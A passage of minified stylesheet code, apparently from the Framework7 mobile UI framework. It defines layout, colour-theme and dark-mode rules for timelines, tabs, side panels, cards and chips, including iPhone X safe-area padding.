.timeline-item-date,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date{width:auto;padding-left:calc(12px + constant(safe-area-inset-left));padding-left:calc(12px + env(safe-area-inset-left));left:calc(0px - constant(safe-area-inset-left));left:calc(0px - env(safe-area-inset-left));right:0}.md.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.md.device-iphone-x .ios-left-edge .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.md.device-iphone-x .panel-left .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.md.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.md.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal){padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title{width:auto;right:calc(0px - constant(safe-area-inset-right));right:calc(0px - env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child{overflow:visible}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date{width:auto;right:calc(0px - constant(safe-area-inset-right));right:calc(0px - env(safe-area-inset-right));left:0}.md.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.md.device-iphone-x .ios-right-edge .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.md.device-iphone-x .panel-right .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.md.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.md.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal){padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}}.md .theme-dark .timeline-item-inner{background-color:rgba(255,255,255,.03)}.md .theme-dark .timeline-item-time{color:rgba(255,255,255,.54)}.md .color-theme-red .timeline-item-date,.md .color-theme-red .timeline-month-title,.md .color-theme-red .timeline-year-title{background:#f44336}.md .color-theme-green .timeline-item-date,.md .color-theme-green .timeline-month-title,.md .color-theme-green .timeline-year-title{background:#4caf50}.md .color-theme-blue .timeline-item-date,.md .color-theme-blue .timeline-month-title,.md .color-theme-blue .timeline-year-title{background:#2196f3}.md .color-theme-pink .timeline-item-date,.md .color-theme-pink .timeline-month-title,.md .color-theme-pink .timeline-year-title{background:#e91e63}.md .color-theme-yellow .timeline-item-date,.md .color-theme-yellow .timeline-month-title,.md .color-theme-yellow .timeline-year-title{background:#ffeb3b}.md .color-theme-orange .timeline-item-date,.md .color-theme-orange .timeline-month-title,.md .color-theme-orange .timeline-year-title{background:#ff9800}.md .color-theme-gray .timeline-item-date,.md .color-theme-gray .timeline-month-title,.md .color-theme-gray .timeline-year-title{background:#9e9e9e}.md .color-theme-white .timeline-item-date,.md .color-theme-white .timeline-month-title,.md .color-theme-white .timeline-year-title{background:#fff}.md .color-theme-black .timeline-item-date,.md .color-theme-black .timeline-month-title,.md .color-theme-black .timeline-year-title{background:#000}.md .timeline.color-theme-red .timeline-item-date,.md .timeline.color-theme-red .timeline-month-title,.md .timeline.color-theme-red .timeline-year-title{background:#f44336}.md .timeline.color-theme-green .timeline-item-date,.md .timeline.color-theme-green .timeline-month-title,.md .timeline.color-theme-green .timeline-year-title{background:#4caf50}.md .timeline.color-theme-blue .timeline-item-date,.md .timeline.color-theme-blue .timeline-month-title,.md .timeline.color-theme-blue .timeline-year-title{background:#2196f3}.md .timeline.color-theme-pink .timeline-item-date,.md .timeline.color-theme-pink .timeline-month-title,.md .timeline.color-theme-pink .timeline-year-title{background:#e91e63}.md .timeline.color-theme-yellow .timeline-item-date,.md .timeline.color-theme-yellow .timeline-month-title,.md .timeline.color-theme-yellow .timeline-year-title{background:#ffeb3b}.md .timeline.color-theme-orange .timeline-item-date,.md .timeline.color-theme-orange .timeline-month-title,.md .timeline.color-theme-orange .timeline-year-title{background:#ff9800}.md .timeline.color-theme-gray .timeline-item-date,.md .timeline.color-theme-gray .timeline-month-title,.md .timeline.color-theme-gray .timeline-year-title{background:#9e9e9e}.md .timeline.color-theme-white .timeline-item-date,.md .timeline.color-theme-white .timeline-month-title,.md .timeline.color-theme-white .timeline-year-title{background:#fff}.md .timeline.color-theme-black .timeline-item-date,.md .timeline.color-theme-black .timeline-month-title,.md .timeline.color-theme-black .timeline-year-title{background:#000}.tabs .tab{display:none}.tabs .tab-active{display:block}.tabs-animated-wrap{position:relative;width:100%;overflow:hidden;height:100%}.tabs-animated-wrap>.tabs{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;height:100%;-webkit-transition-duration:.3s;transition-duration:.3s}.tabs-animated-wrap>.tabs>.tab{width:100%;display:block;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.tabs-animated-wrap.not-animated>.tabs{-webkit-transition-duration:.3s;transition-duration:.3s}.tabs-swipeable-wrap{height:100%}.tabs-swipeable-wrap>.tabs{height:100%}.tabs-swipeable-wrap>.tabs>.tab{display:block}.page>.tabs{height:100%}.panel-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;opacity:0;z-index:5999;display:none;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.panel-backdrop.not-animated{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel{z-index:1000;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;overflow:auto;-webkit-overflow-scrolling:touch;top:0;height:100%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);width:260px;background-color:#fff}.panel.not-animated{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel.panel-reveal.not-animated~.view,.panel.panel-reveal.not-animated~.views{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel-cover{z-index:6000}.panel-left{left:0}.panel-left.panel-cover{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.panel-right{right:0}.panel-right.panel-cover{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.panel-visible-by-breakpoint{display:block;-webkit-transform:translate3d(0,0,0)!important;transform:translate3d(0,0,0)!important}.panel-visible-by-breakpoint.panel-cover{z-index:5900}html.with-panel .framework7-root>.view .page-content,html.with-panel .framework7-root>.views .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}html.with-panel-left-cover .panel-backdrop,html.with-panel-right-cover .panel-backdrop{display:block;opacity:1}html.with-panel-left-reveal .panel-backdrop,html.with-panel-right-reveal .panel-backdrop,html.with-panel-transitioning .panel-backdrop{background:rgba(0,0,0,0);display:block;opacity:0}html.with-panel-left-reveal .framework7-root>.view,html.with-panel-left-reveal .panel-backdrop,html.with-panel-left-reveal .views{-webkit-transform:translate3d(260px,0,0);transform:translate3d(260px,0,0)}html.with-panel-right-reveal .framework7-root>.view,html.with-panel-right-reveal .panel-backdrop,html.with-panel-right-reveal .views{-webkit-transform:translate3d(-260px,0,0);transform:translate3d(-260px,0,0)}html.with-panel-left-cover .panel-left{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}html.with-panel-right-cover .panel-right{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}html.with-statusbar.device-ios .panel,html.with-statusbar.ios:not(.device-ios):not(.device-android) .panel{top:20px;height:calc(100% - 20px)}html.with-statusbar.device-android .panel,html.with-statusbar.md:not(.device-ios):not(.device-android) .panel{top:24px;height:calc(100% - 24px)}html.with-statusbar.device-iphone-x .panel{top:constant(safe-area-inset-top);top:env(safe-area-inset-top);height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top))}.ios .panel-backdrop{-webkit-transition-duration:.4s;transition-duration:.4s;background:rgba(0,0,0,0)}.ios .panel{-webkit-transition-duration:.4s;transition-duration:.4s}.ios.with-panel-left-reveal .framework7-root>.view,.ios.with-panel-left-reveal .views,.ios.with-panel-right-reveal .framework7-root>.view,.ios.with-panel-right-reveal .views,.ios.with-panel-transitioning .framework7-root>.view,.ios.with-panel-transitioning .views{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.md .panel-backdrop{-webkit-transition-duration:.3s;transition-duration:.3s;background:rgba(0,0,0,.2)}.md .panel{-webkit-transition-duration:.3s;transition-duration:.3s}.md .panel-visible{display:block}.md .panel-visible-by-breakpoint{-webkit-box-shadow:none;box-shadow:none}.md.with-panel-left-cover .panel-cover,.md.with-panel-right-cover .panel-cover{-webkit-box-shadow:0 0 20px rgba(0,0,0,.5);box-shadow:0 0 20px rgba(0,0,0,.5)}.md.with-panel-left-reveal .framework7-root>.view,.md.with-panel-left-reveal .views,.md.with-panel-right-reveal .framework7-root>.view,.md.with-panel-right-reveal .views{-webkit-box-shadow:0 0 20px rgba(0,0,0,.5);box-shadow:0 0 20px rgba(0,0,0,.5)}.md.with-panel-left-reveal .framework7-root>.view,.md.with-panel-left-reveal .views,.md.with-panel-right-reveal .framework7-root>.view,.md.with-panel-right-reveal .views,.md.with-panel-transitioning .framework7-root>.view,.md.with-panel-transitioning .views{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-transform,-webkit-box-shadow;transition-property:-webkit-transform,-webkit-box-shadow;transition-property:transform,box-shadow;transition-property:transform,box-shadow,-webkit-transform,-webkit-box-shadow}.card .list>ul:before,.cards-list>ul:before{display:none!important}.card .list>ul:after,.cards-list>ul:after{display:none!important}.card{background:#fff;position:relative;border-radius:4px;font-size:14px}.card .block,.card .list{margin:0}.row:not(.no-gap) .col>.card{margin-left:0;margin-right:0}.card-content{position:relative}.card-content-padding{position:relative}.card-content-padding>p:first-child{margin-top:0}.card-content-padding>p:last-child{margin-bottom:0}.card-footer,.card-header{min-height:44px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.card-footer[valign=top],.card-header[valign=top]{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.card-footer[valign=bottom],.card-header[valign=bottom]{-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end}.card-footer a.link,.card-header a.link{position:relative}.card-footer a.link i.icon,.card-header a.link i.icon{display:block}.card-footer a.icon-only,.card-header a.icon-only{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;margin:0}.card-header{border-radius:4px 4px 0 0}.card-header:after{content:'';position:absolute;background-color:#e1e1e1;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}html.device-pixel-ratio-2 .card-header:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .card-header:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.card-header.no-hairline:after{display:none!important}.card-footer{border-radius:0 0 4px 4px}.card-footer:before{content:'';position:absolute;background-color:#e1e1e1;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}html.device-pixel-ratio-2 .card-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .card-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.card-footer.no-hairline:before{display:none!important}.ios .card .list ul,.ios .cards-list ul{background:0 0}.ios .card{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.3);box-shadow:0 1px 2px rgba(0,0,0,.3);margin:10px}.ios .card-outline{-webkit-box-shadow:none;box-shadow:none;border:1px solid rgba(0,0,0,.12)}.ios .card-footer a.link,.ios .card-header a.link{line-height:44px;height:44px;margin-top:-10px;margin-bottom:-10px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.ios .card-footer a.icon-only,.ios .card-header a.icon-only{min-width:44px}.ios .card-content-padding{padding:15px}.ios .card-content-padding>.block,.ios .card-content-padding>.list{margin:-15px}.ios .card-footer,.ios .card-header{min-height:44px;padding:10px 15px}.ios .card-header{font-size:17px}.ios .card-footer{color:#6d6d72}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .card:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .card:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(10px + constant(safe-area-inset-left));margin-left:calc(10px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .card:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .card:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(10px + constant(safe-area-inset-right));margin-right:calc(10px + env(safe-area-inset-right))}}.ios .theme-dark .card{background-color:#1c1c1d}.ios .theme-dark .card-outline{border-color:#282829}.ios .theme-dark .card-header:after{background-color:#282829}.ios .theme-dark .card-footer{color:#8e8e93}.ios .theme-dark .card-footer:before{background-color:#282829}.md .card .list ul,.md .cards-list ul{background:0 0}.md .card{margin:8px;-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12);box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)}.md .card-outline{-webkit-box-shadow:none;box-shadow:none;border:1px solid rgba(0,0,0,.12)}.md .card-footer a.link,.md .card-header a.link{text-decoration:none;text-align:center;display:block;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;padding:0 10px;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;position:relative;overflow:hidden;font-family:inherit;cursor:pointer;outline:0;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle;color:#2196f3;border-radius:4px;line-height:36px;height:36px;text-transform:uppercase;min-width:64px;padding:0 8px;border:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);font-weight:500;letter-spacing:.03em}input[type=button].md .card-footer a.link,input[type=button].md .card-header a.link,input[type=submit].md .card-footer a.link,input[type=submit].md .card-header a.link{width:100%}.md .card-footer a.link.active-state,.md .card-header a.link.active-state{background:rgba(0,0,0,.1)}.md .card-footer a.icon-only,.md .card-header a.icon-only{min-width:48px}.md .page-content>.card:last-child{margin-bottom:32px}.md .card-content-padding{padding:16px}.md .card-content-padding>.block,.md .card-content-padding>.list{margin:-16px}.md .card-footer,.md .card-header{min-height:48px;padding:4px 16px}.md .card-header{font-size:16px}.md .card-footer{color:#757575}.md .theme-dark .card{background-color:rgba(255,255,255,.03)}.md .theme-dark .card-outline{border-color:#282829}.md .theme-dark .card-header:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .card-footer{color:rgba(255,255,255,.54)}.md .theme-dark .card-footer:before{background-color:rgba(255,255,255,.08)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .card:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .card:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(8px + constant(safe-area-inset-left));margin-left:calc(8px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .card:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .card:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(8px + constant(safe-area-inset-right));margin-right:calc(8px + env(safe-area-inset-right))}}.md .card-footer.color-theme-red a.link,.md .card-header.color-theme-red a.link,.md .color-theme-red .card-footer a.link,.md .color-theme-red .card-header a.link{color:#f44336}.md .card-footer.color-theme-green a.link,.md .card-header.color-theme-green a.link,.md .color-theme-green .card-footer a.link,.md .color-theme-green .card-header a.link{color:#4caf50}.md .card-footer.color-theme-blue a.link,.md .card-header.color-theme-blue a.link,.md .color-theme-blue .card-footer a.link,.md .color-theme-blue .card-header a.link{color:#2196f3}.md .card-footer.color-theme-pink a.link,.md .card-header.color-theme-pink a.link,.md .color-theme-pink .card-footer a.link,.md .color-theme-pink .card-header a.link{color:#e91e63}.md .card-footer.color-theme-yellow a.link,.md .card-header.color-theme-yellow a.link,.md .color-theme-yellow .card-footer a.link,.md .color-theme-yellow .card-header a.link{color:#ffeb3b}.md .card-footer.color-theme-orange a.link,.md .card-header.color-theme-orange a.link,.md .color-theme-orange .card-footer a.link,.md .color-theme-orange .card-header a.link{color:#ff9800}.md .card-footer.color-theme-gray a.link,.md .card-header.color-theme-gray a.link,.md .color-theme-gray .card-footer a.link,.md .color-theme-gray .card-header a.link{color:#9e9e9e}.md .card-footer.color-theme-white a.link,.md .card-header.color-theme-white a.link,.md .color-theme-white .card-footer a.link,.md .color-theme-white .card-header a.link{color:#fff}.md .card-footer.color-theme-black a.link,.md .card-header.color-theme-black a.link,.md .color-theme-black .card-footer a.link,.md .color-theme-black .card-header a.link{color:#000}.md .card-footer a.link.color-red,.md .card-header a.link.color-red{color:#f44336}.md .card-footer a.link.color-green,.md .card-header a.link.color-green{color:#4caf50}.md .card-footer a.link.color-blue,.md .card-header a.link.color-blue{color:#2196f3}.md .card-footer a.link.color-pink,.md .card-header a.link.color-pink{color:#e91e63}.md .card-footer a.link.color-yellow,.md .card-header a.link.color-yellow{color:#ffeb3b}.md .card-footer a.link.color-orange,.md .card-header a.link.color-orange{color:#ff9800}.md .card-footer a.link.color-gray,.md .card-header a.link.color-gray{color:#9e9e9e}.md .card-footer a.link.color-white,.md .card-header a.link.color-white{color:#fff}.md .card-footer a.link.color-black,.md .card-header a.link.color-black{color:#000}.chip{font-weight:400;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;margin:2px 0}.chip-media{border-radius:50%;text-align:center;color:#fff;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.chip-media img{max-width:100%;max-height:100%;width:auto;height:auto;border-radius:50%;display:block}.chip-label{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;position:relative;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.chip-delete{text-align:center;cursor:pointer;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;background-repeat:no-repeat}.chip .chip-delete.active-state{opacity:1}.ios .chip{font-size:13px;color:#000;background:rgba(0,0,0,.12);height:24px;border-radius:12px;padding:0 10px}.ios .chip-outline{background:0 0;border:1px solid rgba(0,0,0,.12)}.ios .chip-media{width:24px;height:24px;vertical-align:middle;border-radius:50%;text-align:center;line-height:16px;color:#fff;font-size:12px;-webkit-box-sizing:border-box;box-sizing:border-box;margin-right:-10px}.ios .chip-media+.chip-label{margin-right:4px}.ios .chip-media i.icon{font-size:16px;height:16px}.ios .chip-delete{width:24px;height:24px;line-height:24px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%23000'%2F%3E%3Cline%20stroke%3D'%23fff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23fff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E");background-position:center;background-size:14px 14px;opacity:.54;margin-left:-10px}.ios .theme-dark .chip{background-color:#333;color:#fff}.ios .theme-dark .chip-outline{background:0 0;border-color:#333}.ios .theme-dark .chip-delete{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%23fff'%2F%3E%3Cline%20stroke%3D'%23000'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23000'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E")}.ios .chip.color-red{background:#ff3b30;color:#fff}.ios .chip.color-red.chip-outline{background:0 0;border-color:#ff3b30;color:#ff3b30}.ios .chip.color-green{background:#4cd964;color:#fff}.ios .chip.color-green.chip-outline{background:0 0;border-color:#4cd964;color:#4cd964}.ios .chip.color-blue{background:#007aff;color:#fff}.ios .chip.color-blue.chip-outline{background:0 0;border-color:#007aff;color:#007aff}.ios .chip.color-pink{background:#ff2d55;color:#fff}.ios .chip.color-pink.chip-outline{background:0 0;border-color:#ff2d55;color:#ff2d55}.ios .chip.color-yellow{background:#fc0;color:#fff}.ios .chip.color-yellow.chip-outline{background:0 0;border-color:#fc0;color:#fc0}.ios .chip.color-orange{background:#ff9500;color:#fff}.ios .chip.color-orange.chip-outline{background:0 0;border-color:#ff9500;color:#ff9500}.ios .chip.color-gray{background:#8e8e93;color:#fff}.ios .chip.color-gray.chip-outline{background:0 0;border-color:#8e8e93;color:#8e8e93}.ios .chip.color-white{background:#fff;color:#fff}.ios .chip.color-white.chip-outline{background:0 0;border-color:#fff;color:#fff}.ios .chip.color-black{background:#000;color:#fff}.ios .chip.color-black.chip-outline{background:0 0;border-color:#000;color:#000}.md .chip{font-size:13px;color:rgba(0,0,0,.87);background:rgba(0,0,0,.12);height:32px;line-height:32px;border-radius:16px;padding:0 12px}.md .chip-outline{background:0 0;border:1px solid rgba(0,0,0,.12)}.md .chip-media{width:32px;height:32px;vertical-align:top;border-radius:50%;text-align:center;line-height:32px;color:#fff;font-size:16px;margin-right:-12px}.md .chip-media+.chip-label{margin-right:8px}.md 